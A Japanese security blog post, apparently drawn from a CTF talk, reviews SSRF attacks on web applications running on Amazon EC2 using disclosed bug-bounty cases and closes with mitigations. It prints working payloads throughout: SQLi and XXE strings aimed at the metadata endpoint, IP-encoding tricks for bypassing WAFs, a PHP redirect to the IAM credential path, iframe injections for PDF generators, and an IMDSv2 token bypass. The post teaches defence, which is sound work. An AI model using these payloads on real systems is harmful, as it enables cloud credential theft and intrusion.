blog of morioka12

morioka12のブログ (Security Blog)

Amazon EC2 におけるセキュリティ(脆弱性)事例

Cloud Security Web

1. 始めに

こんにちは、morioka12 です。

本稿では、Amazon EC2 上で動く Web アプリケーションの脆弱性によって脆弱性攻撃が可能だった実際の事例について紹介します。

また、今回は Security-JAWS DAYS の CTF で EC2 と SSRF (Server Side Request Forgery)をテーマに問題を担当して作成しました。

その際に実際の事例について紹介したため、それをブログ化したものになります。

以下の作成した CTF の問題解説や参加記もぜひご覧ください。

scgajge12.hatenablog.com

ちなみに8月25日は Amazon EC2 の誕生日でした！


2. Amazon EC2 におけるセキュリティリスク

EC2 は脆弱な Web アプリケーションによって、セキュリティリスクが存在します。

Web アプリケーションのセキュリティを研究する非営利の国際コミュニティ「OWASP (The Open Web Application Security Project)」の調査結果をまとめた、 Web アプリケーションが含みうる重大なセキュリティリスクをランキング形式で示す「OWASP Top 10」というものがあります。

その最新版である2021年版 OWASP Top 10 の3位に「Injection」、10位に「Server Side Request Forgery (SSRF)」などが含まれています。

また、2023年版 OWASP API Security Top 10 の7位にも「Server Side Request Forgery」が含まれています。

このような脆弱性は、 Web アプリケーション内だけでなくクラウド環境にも侵害できる可能性があり、 EC2 としても重大なリスクとなりえます。

特に、 SSRF 攻撃による　EC2 のメタデータサーバーからクレデンシャルの漏洩などが考えられます。


Amazon EBS

EBS も不適切な設定によって、セキュリティリスクが存在します。

トレンドマイクロ株式会社が2021年に全世界で実施した「クラウド環境の設定不備ランキング」の調査結果では、AWS サービスの中で3位に「Amazon EBS」が含まれています。そのため EBS は AWS サービスの中でも設定不備を起こしやすいサービスであることがわかります。

特に、EBS スナップショットの誤ったパブリックな状態による情報漏洩などが考えられます。


被害があった公開事例

EC2 において SSRF 攻撃によって情報漏洩などが発生した事例としては、2019年7月29日に起きた「Capital One の個人情報漏洩」が有名です。

この事例は、WAFの設定ミスに起因して、SSRF 攻撃を許したことにより情報を盗まれたとみられています。

詳しくは、以下をご覧ください。

piyolog.hatenadiary.jp

medium.com

www.youtube.com

また、Security-JAWS DAYS ~Day1~ で徳丸さんが登壇された「Capital OneはDevSecOpsの先駆的企業だったのになぜ1億件超の個人情報漏洩が起こったか」もぜひご覧ください。

特に以下の点が個人的に面白かったです。

  • Apache でリバースプロキシと mod_security を導入する例 (ダメパターン)
  • 脆弱性を産んだメンタルモデル
  • WAF (mod_security)に関する考察
  • セキュリティエンジニアの離職率の高さ

www.youtube.com


3. Amazon EC2 で起こりうる脆弱性攻撃

EC2 において、Web アプリケーション上に SSRF 攻撃が行える場合、EC2 のメタデータサーバーからインスタンスのデータや設定を取得することが可能です。

また、その中には EC2 に付与された IAM Role も含まれているため、クレデンシャルの漏洩により、クラウド管渠に対して更なる侵害が行われる可能性があります。

特に有益な情報として、以下のような情報がメタデータサーバーに含まれています。

  • インスタンスメタデータ
    • /latest/meta-data/iam/security-credentials/role-name: 付与された IAM Role の認証情報を取得することが可能
    • /latest/meta-data/public-keys/: 使用可能なパブリックキーのリストを取得することが可能
  • インスタンスユーザーデータ
    • /latest/user-data: 起動時に実行されるスクリプトの中から機微な情報が含まれている場合に取得することが可能


SSRF が可能な脆弱性

Web アプリケーション上に外部から指定した URL 先をリクエストするエンドポイントがあった場合は、そこから SSRF 攻撃が可能です。

しかし、他の脆弱性を悪用して結果的に SSRF に繋げられる脆弱性もいくつかあり、主に以下のような脆弱性があった場合でも SSRF 攻撃が行える可能性があります。

SQL Injection (MySQL の場合)

x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/'); -- //

x'; SELECT http_get('http://169.254.169.254/latest/meta-data/'); -- //

ibreak.software

XXE

<?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE stockCheck
        [ <!ENTITY foo SYSTEM "http://169.254.169.254/latest/meta-data/""> ]>
    <stockCheck><productId>&foo;</productId><storeId>1</storeId>
</stockCheck>

securiumsolutions.com


SSRF における回避方法

Web アプリケーション上で SSRF のエンドポイントを直接ブロックするなどのセキュリティ対策が行われた場合、様々な IP アドレスなどを指定することで回避できる場合があります。

IPv4 Endpoin

http://169.254.169.254/latest/meta-data/

IPv6 Endpoint

http://[fd00:ec2::254]/latest/meta-data/

DNS record pointing to the AWS API IP

http://instance-data
http://169.254.169.254
http://metadata.nicob.net/
http://169.254.169.254.xip.io/
http://1ynrnhl.xip.io/
http://www.owasp.org.1ynrnhl.xip.io/

HTTP Redirect

Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80-

Encoding the IP to bypass WAF

http://425.510.425.510 Dotted decimal with overflow
http://2852039166 Dotless decimal
http://7147006462 Dotless decimal with overflow
http://0xA9.0xFE.0xA9.0xFE Dotted hexadecimal
http://0xA9FEA9FE Dotless hexadecimal
http://0x41414141A9FEA9FE Dotless hexadecimal with overflow
http://0251.0376.0251.0376 Dotted octal
http://0251.00376.000251.0000376 Dotted octal with padding
http://0251.254.169.254 Mixed encoding (dotted octal + dotted decimal)
http://[::ffff:a9fe:a9fe] IPV6 Compressed
http://[0:0:0:0:0:ffff:a9fe:a9fe] IPV6 Expanded
http://[0:0:0:0:0:ffff:169.254.169.254] IPV6/IPV4
http://[fd00:ec2::254] IPV6

github.com


4. Amazon EC2 の脆弱な報告事例

HackerOne というバグバウンティプラットフォームでの EC2 に関する脆弱性報告では、実際に以下のような報告書が公開されています。

画像読み込み機能に潜む SSRF を悪用した EC2 のクレデンシャルの不正入手が可能

この報告によると、DuckDuckGo が所有するドメイン「proxy.duckduckgo.com」において、パラメーター「image_host」に 169.254.169.254の URL を指定することで、メタデータサーバーにアクセスすることが可能でした。

curl "https://proxy.duckduckgo.com/iur/?f=1&image_host=http://169.254.169.254/latest/meta-data/"

今回のように、プロキシ機能を持つエンドポイントや外部から指定された画像の URL を読み込むパラメータがある場合は、SSRF 攻撃が行われる可能性があります。

SAML アプリケーションに潜む SSRF を悪用した EC2 のクレデンシャルの不正入手が可能

この報告によると、Ping Identity が所有するドメイン「ort-admin.pingone.com」において、URL を指定することによるメタデータを登録するエンドポイントに 169.254.169.254の URL を指定することで、メタデータサーバーにアクセスすることが可能でした。

今回は任意のリクエストを遅れてはいるようですが、 Local Port Scan のみが可能で実際にはデータを取得するところまでは至っていないようでした。

Response

  • https://localhost
The issuer of the server X.509 certificate at this address is not in PingOne's trusted authority list.
  • https://localhost:22
We could not connect to the address 'https://localhost:22'.
  • http://169.254.169.254/latest/meta-data/
<ajax-r`esponse><redirect><![CDATA[../error]]></redirect></ajax-response>
  • http://169.254.169.254/latest/meta-data/a
We could not connect to the address &#039;http://169.254.169.254/latest/meta-data/a&#039;.

しかし、Impact に記載されているように、内部で動いている API や古い ElasticSearch などの脆弱なサービスがある場合に重大な脆弱性にエスカレーションできる可能性はあります。

実際に、内部で動いている API を悪用して脆弱性をエスカレーションした事例を「5. EC2 IMDSv2 における SSRF」で紹介します。

そのため、今回のように外部から任意の URL 先を指定してリクエストする場合、可能な限りで想定するリクエスト先のドメインをホワイトリストで管理して制御するなどをお勧めします。

Webhook 機能に潜む SSRF を悪用した EC2 のクレデンシャルの不正入手が可能

この報告によると、Mixmax が所有するドメイン「app.mixmax.com」において、Webhook の機能に直接的に 169.254.169.254の URL を指定することで、メタデータサーバーにアクセスすることが可能でした。

Webhook を作成する際に URL に http://169.254.169.254/latest/meta-data/ を指定してトリガーすることで、リクエストを送ることが可能でした。

Webhook 機能に潜む SSRF を悪用した EC2 のクレデンシャルの不正入手が可能

この報告によると、Omise が所有するドメイン「dashboard.omise.co」において、Webhook の機能に間接的に 169.254.169.254の URL を指定することで、メタデータサーバーにアクセスすることが可能でした。

具体的には、Webhook の URL に指定したサイトで「303 See Other」で 169.254.169.254 にリダイレクトさせることで、アクセス制御を回避することが可能でした。

実際には以下の PHP スクリプトを自身が所有するサーバーで実行させて、そのサーバーの IP アドレスを Webhook の URL に指定します。

<?php header('Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-opsworks-ec2-role', TRUE, 303); ?>

そのため、今回のように指定された URL だけを判断するのではなく、リダイレクト先の IP アドレスも判断してリクエストをブロックする必要があります。

EC2 のサブドメインの乗っ取り

この報告によると、Zego の所有するドメイン「v.zego.com」において、もう存在しない 52.214.138.192 の EC2 インスタンスを示していました。

この IP アドレスを制御して、独自の EC2 インスタンスを実行することができ、これにより、このドメインでコンテンツを提供したり、ドメインの TLS 証明書を取得したりできるようになります。

それにより、サブドメインを乗っ取ることで、ホストドメインなどでも有効な Cookie などを取得できる可能性があります。


5. PDF 生成機能における HTML Injection から SSRF

EC2 上で動く Web アプリケーションに PDF を生成する機能がある場合、その PDF に任意の文字列を入力でき、かつ HTML Injection が行えると SSRF に繋げられる可能性があります。

実際には、以下のような iframe タグを用いることでペイロードを指定して PDF に埋め込むようにします。

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME-HERE"></iframe>

<iframe src="http://2852039166/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" width="800" height="800"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="800"></iframe>
<iframe src="http://[fd00:ec2::254]/latest/meta-data/" width="800" height="800"></iframe>
<iframe src="http://0xa9fea9fe/latest/meta-data/" width="800" height="800"></iframe>
<iframe src="http://instance-data/latest/meta-data/" width="800" height="800"></iframe>

https://miro.medium.com/v2/resize:fit:4800/format:webp/1*RiJP4hDihPvs12A2nERQJw.png

詳しくは、以下をご覧ください。

blog.appsecco.com

www.jomar.fr

systemweakness.com


6. EC2 IMDSv2 における SSRF

IMDSv2 (Instance Metadata Service version 2)は、AWS の EC2 インスタンス上で稼働するメタデータサービスのバージョン2であり、セキュリティの向上を図ったものです。(2020年6月30日に発表されたものです)

従来のIMDSv1よりもセキュリティが強化されており、SSRF 攻撃から保護するための対策を提供しています。

今回の CTF では、IMDSv2 を利用した問題は出題しませんでしたが、以下に IMDSv2 における実際にあった SSRF 攻撃の事例を少し紹介します。

IMDSv2 が有効な場合における SSRF

EC2 で IMDSv2 が有効な場合でも SSRF が行える可能性があります。

以下は、実際にバグバウンティであった事例になります。 (公開：2022年4月28日)

まず、Atlassian Confluence インスタンスが動く以下のようなエンドポイントで SSRF が行える箇所があります。

POST /plugins/servlet/gadgets/makeRequest?url=http://03jve28sg5djvfbj9f00xzjogz.burpcollaborator.net/ HTTP/1.1
Host: confluence.dev.████████.com
 ...

次に内部ポートに対して SSRF を行うと以下のように nginx のデフォルトページが得られます。

  • 127.0.0.1:80

また、127.0.0.1:5000 に対して SSRF を行うと、以下のように Confluence インスタンスが動いていることが確認できます。

ここで 169.254.169.254でメタデータサーバーに対して SSRF を行うと、401 - unauthorized で IMDSv2 が有効に機能されています。

IMDSv2 にアクセスするには、以下の点が必要です。

今回の場合、Atlassian Confluence の内部で動いている API に任意のヘッダー付きでリクエストすることが可能だったため、IMDSv2 のリクエストする際の条件でアクセスすることが可能でした。

Atlassian gadgets use the new Google gadgets.* API defined by the OpenSocial specification so to load dynamic data into the gadget, you will make Ajax calls using gadgets.io.makeRequest() to the remote server - it appears this endpoint takes in various other parameters such as: httpmethod, postData and headers to name a few.

まずは、トークンを取得するために SSRF でhttp://169.254.169.254/latest/api/token にアクセスして得ます。

これで IMDSv2 にアクセスするために必要なトークンを取得することができました。

これを活用して http://169.254.169.254/latest/meta-data にアクセスします。

POST /plugins/servlet/gadgets/makeRequest HTTP/1.1
Host: confluence.dev.████████.com
 ...

url=http://169.254.169.254/latest/meta-data&httpMethod=GET&headers=X-aws-ec2-metadata-token=AQAEAH7TsExwreOTsHbZjebiYB7ypANA_l6JycUp2g0hDYNN9-kucA==

しかし、これでは 401 でアクセスできず、原因としてトークンが Base64 されていて == があるためです。

これを回避する方法として、以下のような「二重 URL エンコード」によって可能となります。

これで IMDSv2 からメタデータにアクセスすることができました。

さらにメタデータサーバーを調査すると、/latest/user-data に以下の認証情報がハードコードされていました。

また、/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance から EC2 に付与されたクレデンシャルも取得できました。

これらの情報が IMDSv2 が有効な状態でも、実際に SSRF によって内部で動く API を調査したり上手く悪用することでクレデンシャルを取得することが可能でした。

このように IMDSv2 が有効だからといって完璧に SSRF を防げるわけではないため(可能性として0にはならない)、根本的な対策として Web アプリケーション側のセキュリティ対策をすることをお勧めします。

詳しくは、以下をご覧ください。

www.yassineaboukir.com

https://jira.atlassian.com/browse/JRASERVER-69793

https://jira.atlassian.com/browse/CONFSERVER-55981

https://jira.atlassian.com/browse/JRASERVER-71204


7. Amazon EC2/EBS におけるセキュリティ対策

EC2 や EBS では、以下のような点に気をつけてセキュリティ対策を施すことをお勧めします。

  • Web アプリケーションのソースコード自体にセキュリティ対策をする
  • ライブラリやミドルウェアもセキュアなもの(最新版)を使用する
  • EC2 に付与される IAM Role は常に最小権限にする
  • 可能な場合 IMDSv2 を有効化する
  • マルウェア対策をする
  • EBS のスナップショットをパブリックな状態にしないようにする
  • AWS にあるセキュリティサービスを活用する

Amazon EC2 のベストプラクティス


8. Tips

SSRF

特に @Rhynorater さんの SSRF を報告した経験を元にした Tips が良かったです。

AWS Sec Docs


9. 終わりに

本稿では、Amazon EC2 上で動く Web アプリケーションの脆弱性によって脆弱性攻撃が可能だった実際の事例について紹介しました。

ここまでお読みいただきありがとうございました。